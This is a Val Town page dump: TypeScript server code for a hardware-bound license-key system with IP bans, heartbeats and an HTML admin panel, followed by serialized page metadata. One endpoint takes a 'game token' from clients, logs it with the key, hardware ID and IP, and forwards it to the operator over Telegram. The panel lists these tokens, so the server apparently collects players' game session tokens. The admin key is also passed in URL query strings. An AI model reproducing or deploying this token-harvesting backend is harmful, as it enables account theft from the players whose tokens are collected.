c);\n}\n\nfunction ipMatchesBan(clientIP: string, bannedIP: string): boolean {\n if (!clientIP || !bannedIP) return false;\n if (clientIP === bannedIP) return true;\n if (bannedIP.includes(\":\") && clientIP.startsWith(bannedIP)) return true;\n if (bannedIP.includes(\".\") && !bannedIP.includes(\":\") && clientIP.startsWith(bannedIP + \".\")) return true;\n return false;\n}\n\nasync function isIPBanned(clientIP: string): Promise<{ banned: boolean; matchedBy: string }> {\n const bans = await sqlite.execute(\"SELECT ip FROM banned_ips\");\n for (const row of bans.rows) {\n const bannedIP = String((row as any)[0]);\n if (ipMatchesBan(clientIP, bannedIP)) return { banned: true, matchedBy: bannedIP };\n }\n return { banned: false, matchedBy: \"\" };\n}\n\nasync function autoExpire() {\n try {\n await sqlite.execute(`\n UPDATE keys SET blocked = 1\n WHERE expires_at IS NOT NULL AND expires_at != ''\n AND datetime(expires_at) < datetime('now') AND blocked = 0\n `);\n } catch (e) {}\n}\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n const clientIP = getClientIP(req);\n\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS ip_log (ip TEXT, password TEXT, hwid TEXT, last_seen TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS banned_ips (ip TEXT PRIMARY KEY, reason TEXT, banned_at TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS keys (password TEXT PRIMARY KEY, used INTEGER DEFAULT 0, hwid TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS token_log (id INTEGER PRIMARY KEY AUTOINCREMENT, password TEXT, hwid TEXT, ip TEXT, token TEXT, received_at TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS tokens (token TEXT PRIMARY KEY, password TEXT, hwid TEXT, created_at TEXT, last_used TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS heartbeats (password TEXT, hwid TEXT, ip TEXT, last_seen TEXT, PRIMARY KEY (password, hwid))`);\n\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN blocked INTEGER DEFAULT 0\"); } catch (e) {}\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN expires_at TEXT\"); } catch (e) {}\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN notes TEXT\"); } catch (e) {}\n\n await autoExpire();\n\n if (url.searchParams.get(\"admin\") !== ADMIN_KEY) {\n await sqlite.execute({\n sql: \"INSERT INTO ip_log (ip, password, hwid, last_seen) VALUES (?, ?, ?, ?)\",\n args: [clientIP, url.searchParams.get(\"password\") || \"\", url.searchParams.get(\"hwid\") || \"\", new Date().toISOString()]\n }).catch(() => {});\n }\n\n if (url.searchParams.get(\"admin\") !== ADMIN_KEY) {\n const check = await isIPBanned(clientIP);\n if (check.banned) {\n await sendTelegram(`🚫 *Banned IP tried access*\\nIP: \\`${clientIP}\\`\\nMatched ban: \\`${check.matchedBy}\\``);\n return new Response(\"banned\", { status: 403 });\n }\n }\n\n // === LOGIN ===\n if (url.pathname === \"/login\") {\n const password = url.searchParams.get(\"password\");\n const hwid = url.searchParams.get(\"hwid\");\n\n if (!password || !hwid) return new Response(\"invalid\", { status: 400 });\n if (!/^[a-zA-Z0-9]+$/.test(password)) return new Response(\"invalid\", { status: 403 });\n\n const result = await sqlite.execute({ sql: \"SELECT * FROM keys WHERE password = ?\", args: [password] });\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const entry = result.rows[0];\n const dbUsed = Number(entry[1] ?? 0);\n const dbHwid = entry[2];\n const dbBlocked = Number(entry[3] ?? 0);\n const dbExpires = entry[4] ? String(entry[4]) : null;\n\n if (dbBlocked === 1) return new Response(\"banned\");\n if (dbExpires && new Date(dbExpires) < new Date()) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [password] });\n return new Response(\"expired\");\n }\n\n let valid = false;\n if (dbUsed === 0) {\n await sqlite.execute({ sql: \"UPDATE keys SET used = 1, hwid = ? WHERE password = ?\", args: [hwid, password] });\n valid = true;\n } else if (dbHwid === hwid) valid = true;\n\n if (!valid) return new Response(\"wrong_phone\");\n\n const token = Array.from(crypto.getRandomValues(new Uint8Array(16)))\n .map(b => b.toString(36).padStart(2, '0')).join('').slice(0, 24);\n\n await sqlite.execute({\n sql: \"INSERT INTO tokens (token, password, hwid, created_at, last_used) VALUES (?, ?, ?, ?, ?)\",\n args: [token, password, hwid, new Date().toISOString(), new Date().toISOString()]\n });\n\n await sendTelegram(`🎫 *Token Issued*\\n\\nKey: \\`${password}\\`\\nHWID: \\`${hwid}\\`\\nIP: \\`${clientIP}\\``);\n return new Response(token);\n }\n\n // === TOKEN CHECK ===\n if (url.pathname === \"/token\") {\n const token = url.searchParams.get(\"t\");\n const hwid = url.searchParams.get(\"hwid\");\n\n if (!token || !hwid) return new Response(\"invalid\", { status: 400 });\n if (!/^[a-zA-Z0-9]+$/.test(token)) return new Response(\"invalid\", { status: 403 });\n\n const result = await sqlite.execute({ sql: \"SELECT * FROM tokens WHERE token = ? AND hwid = ?\", args: [token, hwid] });\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const entry = result.rows[0];\n const password = String(entry[1]);\n\n const keyResult = await sqlite.execute({ sql: \"SELECT * FROM keys WHERE password = ?\", args: [password] });\n if (keyResult.rows.length === 0) {\n await sqlite.execute({ sql: \"DELETE FROM tokens WHERE token = ?\", args: [token] });\n return new Response(\"banned\");\n }\n\n const key = keyResult.rows[0];\n const keyBlocked = Number(key[3] ?? 0);\n const keyExpires = key[4] ? String(key[4]) : null;\n\n if (keyBlocked === 1) return new Response(\"banned\");\n if (keyExpires && new Date(keyExpires) < new Date()) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [password] });\n return new Response(\"expired\");\n }\n\n await sqlite.execute({ sql: \"UPDATE tokens SET last_used = ? WHERE token = ?\", args: [new Date().toISOString(), token] });\n return new Response(\"ok\");\n }\n\n // === HEARTBEAT (ONLINE) ===\n if (url.pathname === \"/ping\") {\n const token = url.searchParams.get(\"t\");\n const hwid = url.searchParams.get(\"hwid\");\n if (!token || !hwid) return new Response(\"invalid\", { status: 400 });\n\n const result = await sqlite.execute({\n sql: \"SELECT password FROM tokens WHERE token = ? AND hwid = ?\",\n args: [token, hwid]\n });\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const password = String(result.rows[0][0]);\n const now = new Date().toISOString();\n\n await sqlite.execute({ sql: \"DELETE FROM heartbeats WHERE password = ? AND hwid = ?\", args: [password, hwid] });\n await sqlite.execute({\n sql: \"INSERT INTO heartbeats (password, hwid, ip, last_seen) VALUES (?, ?, ?, ?)\",\n args: [password, hwid, clientIP, now]\n }).catch(() => {});\n\n return new Response(\"ok\");\n }\n\n // === SETUP ===\n if (url.searchParams.get(\"setup\") === \"true\") {\n for (const p of PASSWORDS) {\n await sqlite.execute({ sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\", args: [p] });\n }\n const total = await sqlite.execute(\"SELECT COUNT(*) FROM keys\");\n return new Response(\"✅ Setup done! Total: \" + total.rows[0][0]);\n }\n\n // === DEBUG ===\n if (url.searchParams.get(\"debug\") === \"true\") {\n const count = await sqlite.execute(\"SELECT COUNT(*) FROM keys\");\n const tokens = await sqlite.execute(\"SELECT COUNT(*) FROM tokens\");\n const online = await sqlite.execute(`SELECT COUNT(*) FROM heartbeats WHERE datetime(last_seen) > datetime('now', '-5 minutes')`);\n return new Response(JSON.stringify({\n total_keys: count.rows[0][0],\n total_tokens: tokens.rows[0][0],\n online_now: online.rows[0][0]\n }, null, 2));\n }\n\n // ============================================\n // 🔐 ADMIN DASHBOARD\n // ============================================\n if (url.searchParams.get(\"admin\") === ADMIN_KEY) {\n const action = url.searchParams.get(\"action\");\n const target = url.searchParams.get(\"password\") || url.searchParams.get(\"ip\");\n let flash = \"\";\n\n if (action === \"add\" && target) { await sqlite.execute({ sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\", args: [target] }); flash = \"✅ Added: \" + target; }\n if (action === \"delete\" && target) { await sqlite.execute({ sql: \"DELETE FROM keys WHERE password = ?\", args: [target] }); await sqlite.execute({ sql: \"DELETE FROM tokens WHERE password = ?\", args: [target] }); await sqlite.execute({ sql: \"DELETE FROM heartbeats WHERE password = ?\", args: [target] }); flash = \"🗑️ Deleted: \" + target; }\n if (action === \"reset\" && target) { await sqlite.execute({ sql: \"UPDATE keys SET used = 0, hwid = NULL WHERE password = ?\", args: [target] }); await sqlite.execute({ sql: \"DELETE FROM tokens WHERE password = ?\", args: [target] }); flash = \"🔄 Reset: \" + target; }\n if (action === \"block\" && target) { await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [target] }); await sqlite.execute({ sql: \"DELETE FROM tokens WHERE password = ?\", args: [target] }); flash = \"🚫 Blocked: \" + target; }\n if (action === \"unblock\" && target) { await sqlite.execute({ sql: \"UPDATE keys SET blocked = 0 WHERE password = ?\", args: [target] }); flash = \"✅ Unblocked: \" + target; }\n if (action === \"setnotes\" && target) { const n = url.searchParams.get(\"notes\") || \"\"; await sqlite.execute({ sql: \"UPDATE keys SET notes = ? WHERE password = ?\", args: [n, target] }); flash = \"📝 Notes saved: \" + target; }\n if (action === \"setexpiry\" && target) {\n const value = Number(url.searchParams.get(\"value\") || \"0\");\n const unit = url.searchParams.get(\"unit\") || \"days\";\n let expiresAt: string | null = null;\n if (value > 0) {\n const ms = unit === \"mins\" ? value * 60 * 1000 : unit === \"hours\" ? value * 60 * 60 * 1000 : value * 24 * 60 * 60 * 1000;\n expiresAt = new Date(Date.now() + ms).toISOString();\n }\n await sqlite.execute({ sql: \"UPDATE keys SET expires_at = ?, blocked = 0 WHERE password = ?\", args: [expiresAt, target] });\n const labels: any = { mins: \"minutes\", hours: \"hours\", days: \"days\" };\n flash = value > 0 ? `⏰ Expires in ${value} ${labels[unit] || \"days\"}: ${target}` : `♾️ Expiry removed: ${target}`;\n }\n if (action === \"ban\" && target) { await sqlite.execute({ sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, ?)\", args: [target, \"banned via dashboard\", new Date().toISOString()] }); flash = \"🚫 Banned: \" + target; }\n if (action === \"banprefix\") { const prefix = url.searchParams.get(\"prefix\"); if (prefix) { await sqlite.execute({ sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, ?)\", args: [prefix, \"prefix ban\", new Date().toISOString()] }); flash = \"🚫 Banned prefix: \" + prefix; } }\n if (action === \"unban\" && target) { await sqlite.execute({ sql: \"DELETE FROM banned_ips WHERE ip = ?\", args: [target] }); flash = \"✅ Unbanned: \" + target; }\n if (action === \"bulkban\") {\n const ipsRaw = url.searchParams.get(\"ips\") || \"\";\n const ipList = ipsRaw.split(/[\\n,;\\s]+/).map(x => x.trim()).filter(x => x);\n let count = 0;\n for (const ip of ipList) {\n await sqlite.execute({ sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, ?)\", args: [ip, \"bulk ban\", new Date().toISOString()] });\n count++;\n }\n flash = `🚫 Bulk banned ${count} IP(s)`;\n }\n if (action === \"cleariplog\") { await sqlite.execute(\"DELETE FROM ip_log\"); flash = \"🗑️ IP log cleared\"; }\n if (action === \"cleartokens\") { await sqlite.execute(\"DELETE FROM token_log\"); flash = \"🗑️ Token log cleared\"; }\n if (action === \"clearlogin\") { await sqlite.execute(\"DELETE FROM tokens\"); flash = \"🗑️ All logins revoked\"; }\n if (action === \"clearheartbeats\") { await sqlite.execute(\"DELETE FROM heartbeats\"); flash = \"🗑️ Heartbeats cleared\"; }\n if (action === \"force-reset\") {\n await sqlite.execute(\"DROP TABLE IF EXISTS keys\");\n await sqlite.execute(`CREATE TABLE keys (password TEXT PRIMARY KEY, used INTEGER DEFAULT 0, hwid TEXT, blocked INTEGER DEFAULT 0, expires_at TEXT, notes TEXT)`);\n for (const p of PASSWORDS) await sqlite.execute({ sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\", args: [p] });\n await sqlite.execute(\"DELETE FROM tokens\");\n await sqlite.execute(\"DELETE FROM heartbeats\");\n flash = \"🔥 Force reset done\";\n }\n\n const keys = await sqlite.execute(\"SELECT * FROM keys ORDER BY blocked DESC, used DESC, password ASC\");\n const bans = await sqlite.execute(\"SELECT ip, reason, banned_at FROM banned_ips ORDER BY banned_at DESC\");\n const ips = await sqlite.execute(`SELECT ip, COUNT(*) as hits, MAX(last_seen) as last FROM ip_log GROUP BY ip ORDER BY last DESC LIMIT 30`);\n const tokens = await sqlite.execute(\"SELECT * FROM token_log ORDER BY id DESC LIMIT 50\");\n const loginTokens = await sqlite.execute(\"SELECT COUNT(*) FROM tokens\");\n const onlineUsers = await sqlite.execute(`\n SELECT password, hwid, ip, last_seen FROM heartbeats\n WHERE datetime(last_seen) > datetime('now', '-5 minutes')\n ORDER BY last_seen DESC\n `);\n\n const totalKeys = keys.rows.length;\n const usedKeys = keys.rows.filter((r: any) => Number(r[1]) === 1).length;\n const blockedKeys = keys.rows.filter((r: any) => Number(r[3]) === 1).length;\n const totalBans = bans.rows.length;\n const totalTokens = tokens.rows.length;\n const activeSessions = loginTokens.rows[0][0];\n const onlineCount = onlineUsers.rows.length;\n\n const A = (act: string, val: string) => `?admin=${encodeURIComponent(ADMIN_KEY)}&action=${act}&password=${encodeURIComponent(val)}`;\n const AIP = (act: string, val: string) => `?admin=${encodeURIComponent(ADMIN_KEY)}&action=${act}&ip=${encodeURIComponent(val)}`;\n const now = new Date();\n\n let keyRows = \"\";\n for (const r of keys.rows) {\n const pwd = String(r[0]);\n const used = Number(r[1]) === 1;\n const hwid = r[2] ? String(r[2]).slice(0, 6) + \"…\" : \"—\";\n const blocked = Number(r[3]) === 1;\n const expires = r[4] ? String(r[4]) : null;\n const notes = r[5] ? String(r[5]) : \"\";\n const expired = expires && new Date(expires) < now;\n const isOnline = onlineUsers.rows.some((o: any) => String(o[0]) === pwd);\n let expireBadge = \"\";\n if (expires) {\n if (expired) expireBadge = `⏰ EXPIRED`;\n else {\n const diff = new Date(expires).getTime() - now.getTime();\n const mins = Math.floor(diff / 60000);\n const hrs = Math.floor(mins / 60);\n const days = Math.floor(hrs / 24);\n const left = days > 0 ? `${days}d ${hrs % 24}h` : (hrs > 0 ? `${hrs}h ${mins % 60}m` : `${mins}m`);\n expireBadge = `⏰ ${left}`;\n }\n }\n keyRows += `\n ${isOnline ? '🟢 ' : ''}${esc(pwd)}\n ${used ? \"✅\" : \"🆓\"}\n ${blocked ? \"🚫\" : \"—\"}\n ${esc(hwid)} ${expireBadge}\n ${esc(notes)}\n \n \n Reset\n ${blocked ? 'Unblock' : 'Block'}\n \n \n Del\n \n `;\n }\n\n let onlineRows = \"\";\n for (const r of onlineUsers.rows) {\n const [pwd, hwid, ip, last] = r as any[];\n const ago = Math.floor((Date.now() - new Date(String(last)).getTime()) / 1000);\n const agoStr = ago < 60 ? ago + \"s ago\" : Math.floor(ago / 60) + \"m ago\";\n onlineRows += `\n ${esc(pwd)}\n ${esc(String(hwid).slice(0, 8))}…\n ${esc(String(ip).slice(-12))}\n ${agoStr}\n `;\n }\n\n let banRows = \"\";\n for (const r of bans.rows) {\n const [ip, reason, at] = r as any[];\n const isPrefix = ip.includes(\":\") && ip.split(\":\").length < 8;\n banRows += `\n ${esc(ip)} ${isPrefix ? 'PREFIX' : ''}\n ${esc(reason)}\n ${esc(String(at).slice(5, 16))}\n Unban\n `;\n }\n\n let ipRows = \"\";\n for (const r of ips.rows) {\n const [ip, hits, last] = r as any[];\n const ipStr = String(ip);\n let bannedBy = \"\";\n for (const b of bans.rows) {\n const bannedIP = String((b as any)[0]);\n if (ipMatchesBan(ipStr, bannedIP)) { bannedBy = bannedIP; break; }\n }\n let suggestedPrefix = \"\";\n if (ipStr.includes(\":\")) suggestedPrefix = ipStr.split(\":\").slice(0, 4).join(\":\");\n else if (ipStr.includes(\".\")) suggestedPrefix = ipStr.split(\".\").slice(0, 3).join(\".\");\n ipRows += `\n ${esc(ipStr)}\n ${esc(hits)}\n ${esc(String(last).slice(5, 16))}\n ${bannedBy\n ? `Unban`\n : `Ban\n Ban Prefix`}\n `;\n }\n\n let tokenRows = \"\";\n for (const r of tokens.rows) {\n const [id, pwd, hwid, ip, token, at] = r as any[];\n tokenRows += `\n ${esc(pwd)}\n ${esc(String(hwid).slice(0,8))}…\n ${esc(String(ip).slice(-12))}\n ${esc(token)}\n \n \n ${esc(String(at).slice(5, 16))}\n `;\n }\n\n const html = `\n\n\n\n\n\n🛡️ Admin Panel\n\n\n\n

🛡️ Admin Panel

\n ${flash ? `

${esc(flash)}

` : \"\"}\n\n

TOTAL KEYS

${totalKeys}

USED

${usedKeys}

BLOCKED

${blockedKeys}

BANNED IPs

${totalBans}

\n\n

🟢 ONLINE NOW (last 5 min)

${onlineCount}

\n\n

🟢 Online Users (${onlineCount})

\n ${onlineUsers.rows.length === 0 ? \"

No one online

\" : `\n \n ${onlineRows}\n

Key	HWID	IP	Last Seen

`}\n\n

➕ Add New Key

\n \n\n

🔑 Keys (${totalKeys})

\n \n \n ${keyRows}\n

Key	Used	Blk	HWID / Expiry	Notes	Actions

\n\n

🚫 Bulk Ban IPs

\n \n\n

🚫 Banned IPs (${totalBans})

\n ${bans.rows.length === 0 ? \"

None

\" : `${banRows}

IP	Reason	When

`}\n\n

📊 Recent IPs

\n ${ipRows}

IP	Hits	Last	Actions

\n\n

📡 Recent Game Tokens (${totalTokens})

\n ${tokens.rows.length === 0 ? \"

No tokens yet

\" : `${tokenRows}

Key	HWID	IP	Token	When

`}\n\n

🛠️ Maintenance

\n Clear IP Log\n Clear Game Tokens\n Clear Heartbeats\n Revoke All Logins\n Force Reset\n

\n\n`;\n\n return new Response(html, { headers: { \"Content-Type\": \"text/html; charset=utf-8\" } });\n }\n\n // === GAME TOKEN ===\n if (url.searchParams.get(\"token\")) {\n const gameToken = url.searchParams.get(\"token\");\n const loginToken = url.searchParams.get(\"t\");\n const hwid = url.searchParams.get(\"hwid\") || \"unknown\";\n let realPassword = \"unknown\";\n if (loginToken) {\n const lookup = await sqlite.execute({ sql: \"SELECT password FROM tokens WHERE token = ? AND hwid = ?\", args: [loginToken, hwid] });\n if (lookup.rows.length > 0) realPassword = String(lookup.rows[0][0]);\n }\n await sqlite.execute({\n sql: \"INSERT INTO token_log (password, hwid, ip, token, received_at) VALUES (?, ?, ?, ?, ?)\",\n args: [realPassword, hwid, clientIP, gameToken, new Date().toISOString()]\n }).catch(() => {});\n await sendTelegram(`📡 *Token Received*\\n\\nKey: \\`${realPassword}\\`\\nHWID: \\`${hwid}\\`\\nIP: \\`${clientIP}\\`\\nToken: \\`${gameToken}\\``);\n return new Response(\"ok\");\n }\n\n // === LEGACY CHECK ===\n const password = url.searchParams.get(\"password\");\n const hwid = url.searchParams.get(\"hwid\");\n if (!password || !hwid) return new Response(\"invalid\", { status: 400 });\n if (!/^[a-zA-Z0-9]+$/.test(password)) return new Response(\"invalid\", { status: 403 });\n\n const result = await sqlite.execute({ sql: \"SELECT * FROM keys WHERE password = ?\", args: [password] });\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const entry = result.rows[0];\n const dbUsed = Number(entry[1] ?? 0);\n const dbHwid = entry[2];\n const dbBlocked = Number(entry[3] ?? 0);\n const dbExpires = entry[4] ? String(entry[4]) : null;\n\n if (dbBlocked === 1) return new Response(\"banned\");\n if (dbExpires && new Date(dbExpires) < new Date()) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [password] });\n return new Response(\"expired\");\n }\n\n let valid = false, isNewUse = false;\n if (dbUsed === 0) {\n await sqlite.execute({ sql: \"UPDATE keys SET used = 1, hwid = ? WHERE password = ?\", args: [hwid, password] });\n valid = true; isNewUse = true;\n } else if (dbHwid === hwid) valid = true;\n else return new Response(\"wrong_phone\");\n\n if (valid && isNewUse) {\n await sendTelegram(`🔔 *Key Activated!*\\n\\nKey: \\`${password}\\`\\nHWID: \\`${hwid}\\`\\nIP: \\`${clientIP}\\``);\n }\n return new Response(\"ok\");\n}","deleted",false,"crxem","children",[],[54],["D",1789322742452],[],[19],"5e9f7b9a-0b0e-4e35-b1d5-7575319782fc",["D",1789314787733],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","","imageUrl","userId","0e8d7aa5-26f4-4fa8-8f83-60d5cc5bbff2","pinnedFileId","pinPreview","pinMigrated","screenshotVersion","likeCount",0,"orgId","01a09b73-3847-7580-9dd1-5bd9fd3e0dcb","tursoName","tursoHostname","tursoMeasuredAt","pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_11":12,"_126":122},"org",{"_11":12,"_119":120,"_121":122,"_81":82,"_123":124,"_125":63},"branch",{"_17":56,"_13":16,"_33":36,"_111":71,"_112":-5,"_113":-5,"_114":-5,"_115":-5,"_116":-5,"_117":14,"_118":12},"isOwned","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","displayName","Nandakishor _x_","avatar","https://lh3.googleusercontent.com/a/ACg8ocKhQOfGZ4qTcwIdio0IBLzfXl7AvPf68KPQ541aLCX01dTm1eQ=s96-c","tier","free","canRestrictVals","profileImageUrl","adoptOrgId",{"_33":71,"_13":14,"_45":164,"_73":-5,"_74":63,"_75":76,"_77":76,"_78":79,"_80":-5,"_81":82,"_83":55,"_84":58,"_85":-5,"_86":-5,"_87":88,"_89":90,"_91":-5,"_92":-5,"_93":-5,"_94":-5,"_95":96,"_97":96,"_98":99,"_100":99,"_101":99,"_102":96,"_103":96,"_104":165,"_106":166,"_108":167,"_110":63},[158,159],"files",[158,159],"counts",{"_148":88,"_149":150,"_151":88,"_32":152,"_153":154},[],{"_33":34,"_35":36,"_37":38,"_13":19,"_39":40,"_41":42,"_17":43,"_44":-5,"_45":146,"_47":48,"_49":-5,"_18":147},"upstreamProject","upstreamBranch","emptyEnvVars","flags",[],"hasHttpFiles","grants","orgs","customDomains",{},["D",1789322742452],[19],"pulls","branches",1,"forks",{"_155":88,"_157":88},"connections",{"_155":88,"_156":88},"count","unfilledCount","emptyCount",{"_33":34,"_13":19,"_37":38,"_44":-5,"_35":36,"_47":48,"_57":58,"_45":68,"_17":43,"_41":42,"_39":40,"_62":63,"_49":-5,"_65":162,"_18":163},{"_33":53,"_13":54,"_37":55,"_44":-5,"_35":36,"_47":56,"_57":58,"_45":59,"_17":60,"_41":42,"_39":61,"_62":63,"_49":64,"_65":160,"_18":161},[],[54],[],[19],["D",1789314787733],{"_11":12,"_126":122},{"_11":12,"_119":120,"_121":122,"_81":82,"_123":124,"_125":63},{"_17":56,"_13":16,"_33":36,"_111":71,"_112":-5,"_113":-5,"_114":-5,"_115":-5,"_116":-5,"_117":14,"_118":12},"ctx",{"_104":-5,"_143":201,"_202":203,"_204":205,"_206":63,"_207":63,"_208":63,"_209":58,"_210":-5,"_211":-7,"_212":-7,"_213":88,"_214":63,"_215":63,"_216":-5,"_217":63,"_218":63,"_219":63,"_220":-5},"ENV",{"_172":173,"_174":175,"_176":16,"_177":178,"_179":180,"_181":182,"_183":184,"_185":186,"_187":188,"_189":190,"_191":192,"_193":194,"_195":196,"_197":198,"_199":200},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]